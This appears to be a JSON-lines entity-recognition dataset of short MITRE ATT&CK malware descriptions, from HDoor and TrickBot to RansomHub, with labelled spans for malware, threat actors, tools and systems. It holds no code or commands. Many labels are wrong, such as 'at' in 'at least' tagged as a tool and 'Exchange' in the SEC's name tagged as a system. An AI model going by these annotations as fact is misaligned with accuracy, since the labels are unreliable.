{"text": "HDoor is malware that has been customized and used by the Naikon group.", "spans": {"MALWARE: HDoor": [[0, 5]], "THREAT_ACTOR: Naikon": [[58, 64]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0061"}} {"text": "TrickBot is a Trojan spyware program written in C++ that first emerged in September 2016 as a possible successor to Dyre. TrickBot was developed and initially used by Wizard Spider for targeting banking sites in North America, Australia, and throughout Europe; it has since been used against all sectors worldwide as part of \"big game hunting\" ransomware campaigns.", "spans": {"MALWARE: TrickBot": [[0, 8], [122, 130]], "MALWARE: Dyre": [[116, 120]], "THREAT_ACTOR: Wizard Spider": [[167, 180]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0266"}} {"text": "cd00r is an open-source backdoor for UNIX and UNIX-variant operating systems that was orginally released in 2000. cd00r source code is primarily based on a packet-capturing program as it utilizes a sniffer to listen for specific sequences of network traffic or \"secret knock\" before executing the attacker's code.", "spans": {"MALWARE: cd00r": [[0, 5], [114, 119]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1204"}} {"text": "PowerDuke is a backdoor that was used by APT29 in 2016. It has primarily been delivered through Microsoft Word or Excel attachments containing malicious macros.", "spans": {"MALWARE: PowerDuke": [[0, 9]], "THREAT_ACTOR: APT29": [[41, 46]], "SYSTEM: Microsoft Word": [[96, 110]], "SYSTEM: Excel": [[114, 119]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0139"}} {"text": "EKANS is ransomware variant written in Golang that first appeared in mid-December 2019 and has been used against multiple sectors, including energy, healthcare, and automotive manufacturing, which in some cases resulted in significant operational disruptions. EKANS has used a hard-coded kill-list of processes, including some associated with common ICS software platforms (e.g., GE Proficy, Honeywell HMIWeb, etc), similar to those defined in MegaCortex.", "spans": {"MALWARE: EKANS": [[0, 5], [260, 265]], "TOOL: kill": [[288, 292]], "MALWARE: MegaCortex": [[444, 454]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0605"}} {"text": "BLINDINGCAN is a remote access Trojan that has been used by the North Korean government since at least early 2020 in cyber operations against defense, engineering, and government organizations in Western Europe and the US.", "spans": {"MALWARE: BLINDINGCAN": [[0, 11]], "TOOL: at": [[94, 96]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0520"}} {"text": "Ninja is a malware developed in C++ that has been used by ToddyCat to penetrate networks and control remote systems since at least 2020. Ninja is possibly part of a post exploitation toolkit exclusively used by ToddyCat and allows multiple operators to work simultaneously on the same machine. Ninja has been used against government and military entities in Europe and Asia and observed in specific infection chains being deployed by Samurai.", "spans": {"MALWARE: Ninja": [[0, 5], [138, 143], [295, 300]], "THREAT_ACTOR: ToddyCat": [[58, 66], [212, 220]], "TOOL: at": [[122, 124]], "MALWARE: Samurai": [[435, 442]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1100"}} {"text": "Pikabot is a backdoor used for initial access and follow-on tool deployment active since early 2023. Pikabot is notable for extensive use of multiple encoding, encryption, and defense evasion mechanisms to evade defenses and avoid analysis. Pikabot has some overlaps with QakBot, but insufficient evidence exists to definitively link these two malware families. Pikabot is frequently used to deploy follow on tools such as Cobalt Strike or ransomware variants.", "spans": {"MALWARE: Pikabot": [[0, 7], [101, 108], [241, 248], [362, 369]], "MALWARE: QakBot": [[272, 278]], "TOOL: Cobalt Strike": [[423, 436]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1145"}} {"text": "Wiarp is a trojan used by Elderwood to open a backdoor on compromised hosts.", "spans": {"MALWARE: Wiarp": [[0, 5]], "THREAT_ACTOR: Elderwood": [[26, 35]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0206"}} {"text": "RCSession is a backdoor written in C++ that has been in use since at least 2018 by Mustang Panda and by Threat Group-3390 (Type II Backdoor).", "spans": {"MALWARE: RCSession": [[0, 9]], "TOOL: at": [[66, 68]], "THREAT_ACTOR: Mustang Panda": [[83, 96]], "THREAT_ACTOR: Threat Group-3390": [[104, 121]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0662"}} {"text": "Spark is a Windows backdoor and has been in use since as early as 2017.", "spans": {"MALWARE: Spark": [[0, 5]], "SYSTEM: Windows": [[11, 18]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0543"}} {"text": "QuietSieve is an information stealer that has been used by Gamaredon Group since at least 2021.", "spans": {"MALWARE: QuietSieve": [[0, 10]], "THREAT_ACTOR: Gamaredon Group": [[59, 74]], "TOOL: at": [[81, 83]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0686"}} {"text": "SynAck is variant of Trojan ransomware targeting mainly English-speaking users since at least fall 2017.", "spans": {"MALWARE: SynAck": [[0, 6]], "TOOL: at": [[85, 87]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0242"}} {"text": "Bumblebee is a custom loader written in C++ that has been used by multiple threat actors, including possible initial access brokers, to download and execute additional payloads since at least March 2022. Bumblebee has been linked to ransomware operations including Conti, Quantum, and Mountlocker and derived its name from the appearance of \"bumblebee\" in the user-agent.", "spans": {"MALWARE: Bumblebee": [[0, 9], [204, 213]], "TOOL: at": [[183, 185]], "MALWARE: Conti": [[265, 270]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1039"}} {"text": "MURKYTOP is a reconnaissance tool used by Leviathan.", "spans": {"MALWARE: MURKYTOP": [[0, 8]], "THREAT_ACTOR: Leviathan": [[42, 51]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0233"}} {"text": "AcidRain is an ELF binary targeting modems and routers using MIPS architecture. AcidRain is associated with the ViaSat KA-SAT communication outage that took place during the initial phases of the 2022 full-scale invasion of Ukraine. Analysis indicates overlap with another network device-targeting malware, VPNFilter, associated with Sandworm Team. US and European government sources linked AcidRain to Russian government entities, while Ukrainian government sources linked AcidRain specifically to Sandworm Team.", "spans": {"MALWARE: AcidRain": [[0, 8], [80, 88], [391, 399], [474, 482]], "THREAT_ACTOR: Sandworm Team": [[334, 347], [499, 512]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1125"}} {"text": "GRIFFON is a JavaScript backdoor used by FIN7.", "spans": {"MALWARE: GRIFFON": [[0, 7]], "SYSTEM: JavaScript": [[13, 23]], "THREAT_ACTOR: FIN7": [[41, 45]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0417"}} {"text": "Exaramel for Windows is a backdoor used for targeting Windows systems. The Linux version is tracked separately under Exaramel for Linux.", "spans": {"MALWARE: Exaramel for Windows": [[0, 20]], "SYSTEM: Windows": [[54, 61]], "SYSTEM: Linux": [[75, 80]], "MALWARE: Exaramel for Linux": [[117, 135]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0343"}} {"text": "Amadey is a Trojan bot that has been used since at least October 2018.", "spans": {"MALWARE: Amadey": [[0, 6]], "TOOL: at": [[48, 50]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1025"}} {"text": "JumbledPath is a custom-built utility written in GO that has been used by Salt Typhoon since at least 2024 for packet capture on remote Cisco devices. JumbledPath is compiled as an ELF binary using x86-64 architecture which makes it potentially useable across Linux operating systems and network devices from multiple vendors.", "spans": {"MALWARE: JumbledPath": [[0, 11], [151, 162]], "THREAT_ACTOR: Salt Typhoon": [[74, 86]], "TOOL: at": [[93, 95]], "SYSTEM: Cisco": [[136, 141]], "SYSTEM: Linux": [[260, 265]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1206"}} {"text": "RDFSNIFFER is a module loaded by BOOSTWRITE which allows an attacker to monitor and tamper with legitimate connections made via an application designed to provide visibility and system management capabilities to remote IT techs.", "spans": {"MALWARE: RDFSNIFFER": [[0, 10]], "MALWARE: BOOSTWRITE": [[33, 43]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0416"}} {"text": "NICECURL is a VBScript-based backdoor used by APT42 to download additional modules.", "spans": {"MALWARE: NICECURL": [[0, 8]], "SYSTEM: VBScript": [[14, 22]], "THREAT_ACTOR: APT42": [[46, 51]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1192"}} {"text": "Proxysvc is a malicious DLL used by Lazarus Group in a campaign known as Operation GhostSecret. It has appeared to be operating undetected since 2017 and was mostly observed in higher education organizations. The goal of Proxysvc is to deliver additional payloads to the target and to maintain control for the attacker. It is in the form of a DLL that can also be executed as a standalone process.", "spans": {"MALWARE: Proxysvc": [[0, 8], [221, 229]], "THREAT_ACTOR: Lazarus Group": [[36, 49]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0238"}} {"text": "Orz is a custom JavaScript backdoor used by Leviathan. It was observed being used in 2014 as well as in August 2017 when it was dropped by Microsoft Publisher files.", "spans": {"MALWARE: Orz": [[0, 3]], "SYSTEM: JavaScript": [[16, 26]], "THREAT_ACTOR: Leviathan": [[44, 53]], "ORGANIZATION: Microsoft": [[139, 148]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0229"}} {"text": "Torisma is a second stage implant designed for specialized monitoring that has been used by Lazarus Group. Torisma was discovered during an investigation into the 2020 Operation North Star campaign that targeted the defense sector.", "spans": {"MALWARE: Torisma": [[0, 7], [107, 114]], "THREAT_ACTOR: Lazarus Group": [[92, 105]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0678"}} {"text": "NOKKI is a modular remote access tool. The earliest observed attack using NOKKI was in January 2018. NOKKI has significant code overlap with the KONNI malware family. There is some evidence potentially linking NOKKI to APT37.", "spans": {"MALWARE: NOKKI": [[0, 5], [74, 79], [101, 106], [210, 215]], "MALWARE: KONNI": [[145, 150]], "THREAT_ACTOR: APT37": [[219, 224]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0353"}} {"text": "yty is a modular, plugin-based malware framework. The components of the framework are written in a variety of programming languages.", "spans": {"MALWARE: yty": [[0, 3]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0248"}} {"text": "Backdoor.Oldrea is a modular backdoor that used by Dragonfly against energy companies since at least 2013. Backdoor.Oldrea was distributed via supply chain compromise, and included specialized modules to enumerate and map ICS-specific systems, processes, and protocols.", "spans": {"MALWARE: Backdoor.Oldrea": [[0, 15], [107, 122]], "THREAT_ACTOR: Dragonfly": [[51, 60]], "TOOL: at": [[92, 94]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0093"}} {"text": "DOGCALL is a backdoor used by APT37 that has been used to target South Korean government and military organizations in 2017. It is typically dropped using a Hangul Word Processor (HWP) exploit.", "spans": {"MALWARE: DOGCALL": [[0, 7]], "THREAT_ACTOR: APT37": [[30, 35]], "SYSTEM: Word": [[164, 168]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0213"}} {"text": "Stuxnet was the first publicly reported piece of malware to specifically target industrial control systems devices. Stuxnet is a large and complex piece of malware that utilized multiple different behaviors including multiple zero-day vulnerabilities, a sophisticated Windows rootkit, and network infection routines. Stuxnet was discovered in 2010, with some components being used as early as November 2008.", "spans": {"MALWARE: Stuxnet": [[0, 7], [116, 123], [317, 324]], "SYSTEM: Windows": [[268, 275]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0603"}} {"text": "Downdelph is a first-stage downloader written in Delphi that has been used by APT28 in rare instances between 2013 and 2015.", "spans": {"MALWARE: Downdelph": [[0, 9]], "THREAT_ACTOR: APT28": [[78, 83]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0134"}} {"text": "RotaJakiro is a 64-bit Linux backdoor used by APT32. First seen in 2018, it uses a plugin architecture to extend capabilities. RotaJakiro can determine it's permission level and execute according to access type (`root` or `user`).", "spans": {"MALWARE: RotaJakiro": [[0, 10], [127, 137]], "SYSTEM: Linux": [[23, 28]], "THREAT_ACTOR: APT32": [[46, 51]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1078"}} {"text": "AvosLocker is ransomware written in C++ that has been offered via the Ransomware-as-a-Service (RaaS) model. It was first observed in June 2021 and has been used against financial services, critical manufacturing, government facilities, and other critical infrastructure sectors in the United States. As of March 2022, AvosLocker had also been used against organizations in Belgium, Canada, China, Germany, Saudi Arabia, Spain, Syria, Taiwan, Turkey, the United Arab Emirates, and the United Kingdom.", "spans": {"MALWARE: AvosLocker": [[0, 10], [318, 328]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1053"}} {"text": "SEASHARPEE is a Web shell that has been used by OilRig.", "spans": {"MALWARE: SEASHARPEE": [[0, 10]], "THREAT_ACTOR: OilRig": [[48, 54]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0185"}} {"text": "Get2 is a downloader written in C++ that has been used by TA505 to deliver FlawedGrace, FlawedAmmyy, Snatch and SDBbot.", "spans": {"MALWARE: Get2": [[0, 4]], "THREAT_ACTOR: TA505": [[58, 63]], "MALWARE: FlawedGrace": [[75, 86]], "MALWARE: FlawedAmmyy": [[88, 99]], "MALWARE: SDBbot": [[112, 118]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0460"}} {"text": "POWRUNER is a PowerShell script that sends and receives commands to and from the C2 server.", "spans": {"MALWARE: POWRUNER": [[0, 8]], "TOOL: PowerShell": [[14, 24]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0184"}} {"text": "KOPILUWAK is a JavaScript-based reconnaissance tool that has been used for victim profiling and C2 since at least 2017.", "spans": {"MALWARE: KOPILUWAK": [[0, 9]], "SYSTEM: JavaScript": [[15, 25]], "TOOL: at": [[105, 107]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1075"}} {"text": "RobbinHood is ransomware that was first observed being used in an attack against the Baltimore city government's computer network.", "spans": {"MALWARE: RobbinHood": [[0, 10]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0400"}} {"text": "MEDUSA is an open-source rootkit that is capable of dynamic linker hijacking, command execution, and logging credentials.", "spans": {"MALWARE: MEDUSA": [[0, 6]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1220"}} {"text": "VersaMem is a web shell designed for deployment to Versa Director servers following exploitation. Discovered in August 2024, VersaMem was used during Versa Director Zero Day Exploitation by Volt Typhoon to target ISPs and MSPs. VersaMem is deployed as a Java Archive (JAR) and allows for credential capture for Versa Director logon activity as well as follow-on execution of arbitrary Java payloads.", "spans": {"MALWARE: VersaMem": [[0, 8], [125, 133], [229, 237]], "THREAT_ACTOR: Versa Director Zero Day Exploitation": [[150, 186]], "THREAT_ACTOR: Volt Typhoon": [[190, 202]], "SYSTEM: Java": [[255, 259], [386, 390]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1154"}} {"text": "Power Loader is modular code sold in the cybercrime market used as a downloader in malware families such as Carberp, Redyms and Gapz.", "spans": {"MALWARE: Power Loader": [[0, 12]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0177"}} {"text": "TDTESS is a 64-bit .NET binary backdoor used by CopyKittens.", "spans": {"MALWARE: TDTESS": [[0, 6]], "SYSTEM: .NET": [[19, 23]], "THREAT_ACTOR: CopyKittens": [[48, 59]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0164"}} {"text": "Chinoxy is a backdoor that has been used since at least November 2018, during the FunnyDream campaign, to gain persistence and drop additional payloads. According to security researchers, Chinoxy has been used by Chinese-speaking threat actors.", "spans": {"MALWARE: Chinoxy": [[0, 7], [188, 195]], "TOOL: at": [[47, 49]], "THREAT_ACTOR: FunnyDream": [[82, 92]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1041"}} {"text": "SharpStage is a .NET malware with backdoor capabilities.", "spans": {"MALWARE: SharpStage": [[0, 10]], "SYSTEM: .NET": [[16, 20]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0546"}} {"text": "PAKLOG is a keylogger known to be leveraged by Mustang Panda and was first observed utilized in 2024. PAKLOG is deployed via a RAR archive (e.g., key.rar), which contains two files: a signed, legitimate binary (PACLOUD.exe) and the malicious PAKLOG DLL (pa_lang2.dll). The PACLOUD.exe binary is used to side-load the PAKLOG DLL which starts with the keylogger functionality.", "spans": {"MALWARE: PAKLOG": [[0, 6], [102, 108], [242, 248], [317, 323]], "THREAT_ACTOR: Mustang Panda": [[47, 60]], "TOOL: RAR": [[127, 130]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1233"}} {"text": "COATHANGER is a remote access tool (RAT) targeting FortiGate networking appliances. First used in 2023 in targeted intrusions against military and government entities in the Netherlands along with other victims, COATHANGER was disclosed in early 2024, with a high confidence assessment linking this malware to a state-sponsored entity in the People's Republic of China. COATHANGER is delivered after gaining access to a FortiGate device, with in-the-wild observations linked to exploitation of CVE-2022-42475. The name COATHANGER is based on a unique string in the malware used to encrypt configuration files on disk: “She took his coat and hung it up”.", "spans": {"MALWARE: COATHANGER": [[0, 10], [212, 222], [370, 380], [519, 529]], "SYSTEM: FortiGate": [[51, 60], [420, 429]], "CVE_ID: CVE-2022-42475": [[494, 508]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1105"}} {"text": "Sardonic is a backdoor written in C and C++ that is known to be used by FIN8, as early as August 2021 to target a financial institution in the United States. Sardonic has a plugin system that can load specially made DLLs and execute their functions.", "spans": {"MALWARE: Sardonic": [[0, 8], [158, 166]], "THREAT_ACTOR: FIN8": [[72, 76]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1085"}} {"text": "Smoke Loader is a malicious bot application that can be used to load other malware.\nSmoke Loader has been seen in the wild since at least 2011 and has included a number of different payloads. It is notorious for its use of deception and self-protection. It also comes with several plug-ins.", "spans": {"MALWARE: Smoke Loader": [[0, 12], [84, 96]], "TOOL: at": [[129, 131]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0226"}} {"text": "HALFBAKED is a malware family consisting of multiple components intended to establish persistence in victim networks.", "spans": {"MALWARE: HALFBAKED": [[0, 9]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0151"}} {"text": "WindTail is a macOS surveillance implant used by Windshift. WindTail shares code similarities with Hack Back aka KitM OSX.", "spans": {"MALWARE: WindTail": [[0, 8], [60, 68]], "SYSTEM: macOS": [[14, 19]], "THREAT_ACTOR: Windshift": [[49, 58]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0466"}} {"text": "Misdat is a backdoor that was used in Operation Dust Storm from 2010 to 2011.", "spans": {"MALWARE: Misdat": [[0, 6]], "THREAT_ACTOR: Operation Dust Storm": [[38, 58]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0083"}} {"text": "reGeorg is an open-source web shell written in Python that can be used as a proxy to bypass firewall rules and tunnel data in and out of targeted networks.", "spans": {"MALWARE: reGeorg": [[0, 7]], "SYSTEM: Python": [[47, 53]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1187"}} {"text": "FLIPSIDE is a simple tool similar to Plink that is used by FIN5 to maintain access to victims.", "spans": {"MALWARE: FLIPSIDE": [[0, 8]], "TOOL: Plink": [[37, 42]], "THREAT_ACTOR: FIN5": [[59, 63]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0173"}} {"text": "Linux Rabbit is malware that targeted Linux servers and IoT devices in a campaign lasting from August to October 2018. It shares code with another strain of malware known as Rabbot. The goal of the campaign was to install cryptocurrency miners onto the targeted servers and devices.", "spans": {"MALWARE: Linux Rabbit": [[0, 12]], "SYSTEM: Linux": [[38, 43]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0362"}} {"text": "adbupd is a backdoor used by PLATINUM that is similar to Dipsind.", "spans": {"MALWARE: adbupd": [[0, 6]], "THREAT_ACTOR: PLATINUM": [[29, 37]], "MALWARE: Dipsind": [[57, 64]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0202"}} {"text": "Emissary is a Trojan that has been used by Lotus Blossom. It shares code with Elise, with both Trojans being part of a malware group referred to as LStudio.", "spans": {"MALWARE: Emissary": [[0, 8]], "THREAT_ACTOR: Lotus Blossom": [[43, 56]], "MALWARE: Elise": [[78, 83]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0082"}} {"text": "Exaramel for Linux is a backdoor written in the Go Programming Language and compiled as a 64-bit ELF binary. The Windows version is tracked separately under Exaramel for Windows.", "spans": {"MALWARE: Exaramel for Linux": [[0, 18]], "SYSTEM: Windows": [[113, 120]], "MALWARE: Exaramel for Windows": [[157, 177]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0401"}} {"text": "KEYMARBLE is a Trojan that has reportedly been used by the North Korean government.", "spans": {"MALWARE: KEYMARBLE": [[0, 9]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0271"}} {"text": "BUBBLEWRAP is a full-featured, second-stage backdoor used by the admin@338 group. It is set to run when the system boots and includes functionality to check, upload, and register plug-ins that can further enhance its capabilities.", "spans": {"MALWARE: BUBBLEWRAP": [[0, 10]], "THREAT_ACTOR: admin@338": [[65, 74]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0043"}} {"text": "HAWKBALL is a backdoor that was observed in targeting of the government sector in Central Asia.", "spans": {"MALWARE: HAWKBALL": [[0, 8]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0391"}} {"text": "TAMECAT is a malware that is used by APT42 to execute PowerShell or C# content.", "spans": {"MALWARE: TAMECAT": [[0, 7]], "THREAT_ACTOR: APT42": [[37, 42]], "TOOL: PowerShell": [[54, 64]], "SYSTEM: C#": [[68, 70]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1193"}} {"text": "PS1 is a loader that was used to deploy 64-bit backdoors in the CostaRicto campaign.", "spans": {"MALWARE: PS1": [[0, 3]], "THREAT_ACTOR: CostaRicto": [[64, 74]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0613"}} {"text": "Ursnif is a banking trojan and variant of the Gozi malware observed being spread through various automated exploit kits, Spearphishing Attachments, and malicious links. Ursnif is associated primarily with data theft, but variants also include components (backdoors, spyware, file injectors, etc.) capable of a wide variety of behaviors.", "spans": {"MALWARE: Ursnif": [[0, 6], [169, 175]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0386"}} {"text": "CASTLETAP is an ICMP port knocking backdoor that has been installed on compromised FortiGate firewalls by UNC3886.", "spans": {"MALWARE: CASTLETAP": [[0, 9]], "SYSTEM: FortiGate": [[83, 92]], "THREAT_ACTOR: UNC3886": [[106, 113]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1224"}} {"text": "ThreatNeedle is a backdoor that has been used by Lazarus Group since at least 2019 to target cryptocurrency, defense, and mobile gaming organizations. It is considered to be an advanced cluster of Lazarus Group's Manuscrypt (a.k.a. NukeSped) malware family.", "spans": {"MALWARE: ThreatNeedle": [[0, 12]], "THREAT_ACTOR: Lazarus Group": [[49, 62], [198, 211]], "TOOL: at": [[69, 71]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0665"}} {"text": "RansomHub is a ransomware-as-a-service (RaaS) offering with Windows, ESXi, Linux, and FreeBSD versions that has been in use since at least 2024 to target organizations in multiple sectors globally. RansomHub operators may have purchased and rebranded resources from Knight (formerly Cyclops) Ransomware which shares infrastructure, feature, and code overlaps with RansomHub.", "spans": {"MALWARE: RansomHub": [[0, 9], [198, 207], [365, 374]], "SYSTEM: Windows": [[60, 67]], "SYSTEM: Linux": [[75, 80]], "SYSTEM: FreeBSD": [[86, 93]], "TOOL: at": [[130, 132]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1212"}} {"text": "ZLib is a full-featured backdoor that was used as a second-stage implant during Operation Dust Storm since at least 2014. ZLib is malware and should not be confused with the legitimate compression library from which its name is derived.", "spans": {"MALWARE: ZLib": [[0, 4], [122, 126]], "THREAT_ACTOR: Operation Dust Storm": [[80, 100]], "TOOL: at": [[107, 109]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0086"}} {"text": "RedLeaves is a malware family used by menuPass. The code overlaps with PlugX and may be based upon the open source tool Trochilus.", "spans": {"MALWARE: RedLeaves": [[0, 9]], "THREAT_ACTOR: menuPass": [[38, 46]], "MALWARE: PlugX": [[71, 76]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0153"}} {"text": "Miner-C is malware that mines victims for the Monero cryptocurrency. It has targeted FTP servers and Network Attached Storage (NAS) devices to spread.", "spans": {"MALWARE: Miner-C": [[0, 7]], "TOOL: FTP": [[85, 88]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0133"}} {"text": "POWERSOURCE is a PowerShell backdoor that is a heavily obfuscated and modified version of the publicly available tool DNS_TXT_Pwnage. It was observed in February 2017 in spearphishing campaigns against personnel involved with United States Securities and Exchange Commission (SEC) filings at various organizations. The malware was delivered when macros were enabled by the victim and a VBS script was dropped.", "spans": {"MALWARE: POWERSOURCE": [[0, 11]], "TOOL: PowerShell": [[17, 27]], "SYSTEM: DNS": [[118, 121]], "SYSTEM: Exchange": [[255, 263]], "TOOL: at": [[289, 291]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0145"}} {"text": "LITTLELAMB.WOOLTEA is a backdoor that was used by UNC5325 during Cutting Edge to deploy malware on targeted Ivanti Connect Secure VPNs and to establish persistence across system upgrades and patches.", "spans": {"MALWARE: LITTLELAMB.WOOLTEA": [[0, 18]], "THREAT_ACTOR: Cutting Edge": [[65, 77]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1121"}} {"text": "Felismus is a modular backdoor that has been used by Sowbug.", "spans": {"MALWARE: Felismus": [[0, 8]], "THREAT_ACTOR: Sowbug": [[53, 59]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0171"}} {"text": "Zeus Panda is a Trojan designed to steal banking information and other sensitive credentials for exfiltration. Zeus Panda’s original source code was leaked in 2011, allowing threat actors to use its source code as a basis for new malware variants. It is mainly used to target Windows operating systems ranging from Windows XP through Windows 10.", "spans": {"MALWARE: Zeus Panda": [[0, 10], [111, 121]], "SYSTEM: Windows": [[276, 283]], "SYSTEM: Windows XP": [[315, 325]], "SYSTEM: Windows 10": [[334, 344]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0330"}} {"text": "GeminiDuke is malware that was used by APT29 from 2009 to 2012.", "spans": {"MALWARE: GeminiDuke": [[0, 10]], "THREAT_ACTOR: APT29": [[39, 44]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0049"}} {"text": "Havoc is an open-source post-exploitation command and control (C2) framework first released on GitHub in October 2022 by C5pider (Paul Ungur), who continues to maintain and develop it with community contributors. Havoc provides a wide range of offensive security capabilities and has been adopted by multiple threat actors to establish and maintain control over compromised systems.", "spans": {"MALWARE: Havoc": [[0, 5], [213, 218]], "SYSTEM: GitHub": [[95, 101]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1229"}} {"text": "CARROTBAT is a customized dropper that has been in use since at least 2017. CARROTBAT has been used to install SYSCON and has infrastructure overlap with KONNI.", "spans": {"MALWARE: CARROTBAT": [[0, 9], [76, 85]], "TOOL: at": [[61, 63]], "MALWARE: SYSCON": [[111, 117]], "MALWARE: KONNI": [[154, 159]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0462"}} {"text": "Matryoshka is a malware framework used by CopyKittens that consists of a dropper, loader, and RAT. It has multiple versions; v1 was seen in the wild from July 2016 until January 2017. v2 has fewer commands and other minor differences.", "spans": {"MALWARE: Matryoshka": [[0, 10]], "THREAT_ACTOR: CopyKittens": [[42, 53]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0167"}} {"text": "FrameworkPOS is a point of sale (POS) malware used by FIN6 to steal payment card data from sytems that run physical POS devices.", "spans": {"MALWARE: FrameworkPOS": [[0, 12]], "THREAT_ACTOR: FIN6": [[54, 58]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0503"}} {"text": "GravityRAT is a remote access tool (RAT) and has been in ongoing development since 2016. The actor behind the tool remains unknown, but two usernames have been recovered that link to the author, which are \"TheMartian\" and \"The Invincible.\" According to the National Computer Emergency Response Team (CERT) of India, the malware has been identified in attacks against organization and entities in India.", "spans": {"MALWARE: GravityRAT": [[0, 10]], "ORGANIZATION: CERT": [[300, 304]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0237"}} {"text": "WEBC2 is a family of backdoor malware used by APT1 as early as July 2006. WEBC2 backdoors are designed to retrieve a webpage, with commands hidden in HTML comments or special tags, from a predetermined C2 server.", "spans": {"MALWARE: WEBC2": [[0, 5], [74, 79]], "THREAT_ACTOR: APT1": [[46, 50]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0109"}} {"text": "Prestige ransomware has been used by Sandworm Team since at least March 2022, including against transportation and related logistics industries in Ukraine and Poland in October 2022.", "spans": {"MALWARE: Prestige": [[0, 8]], "THREAT_ACTOR: Sandworm Team": [[37, 50]], "TOOL: at": [[57, 59]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1058"}} {"text": "InvisibleFerret is a modular python malware that is leveraged for data exfiltration and remote access capabilities. InvisibleFerret consists of four modules: main, payload, browser, and AnyDesk. InvisibleFerret malware has been leveraged by North Korea-affiliated threat actors identified as DeceptiveDevelopment or Contagious Interview since 2023. InvisibleFerret has historically been introduced to the victim environment through the use of the BeaverTail malware.", "spans": {"MALWARE: InvisibleFerret": [[0, 15], [118, 133], [198, 213], [353, 368]], "TOOL: AnyDesk": [[188, 195]], "THREAT_ACTOR: Contagious Interview": [[319, 339]], "MALWARE: BeaverTail": [[451, 461]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1245"}} {"text": "Bankshot is a remote access tool (RAT) that was first reported by the Department of Homeland Security in December of 2017. In 2018, Lazarus Group used the Bankshot implant in attacks against the Turkish financial sector.", "spans": {"MALWARE: Bankshot": [[0, 8], [155, 163]], "THREAT_ACTOR: Lazarus Group": [[132, 145]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0239"}} {"text": "SharpDisco is a dropper developed in C# that has been used by MoustachedBouncer since at least 2020 to load malicious plugins.", "spans": {"MALWARE: SharpDisco": [[0, 10]], "SYSTEM: C#": 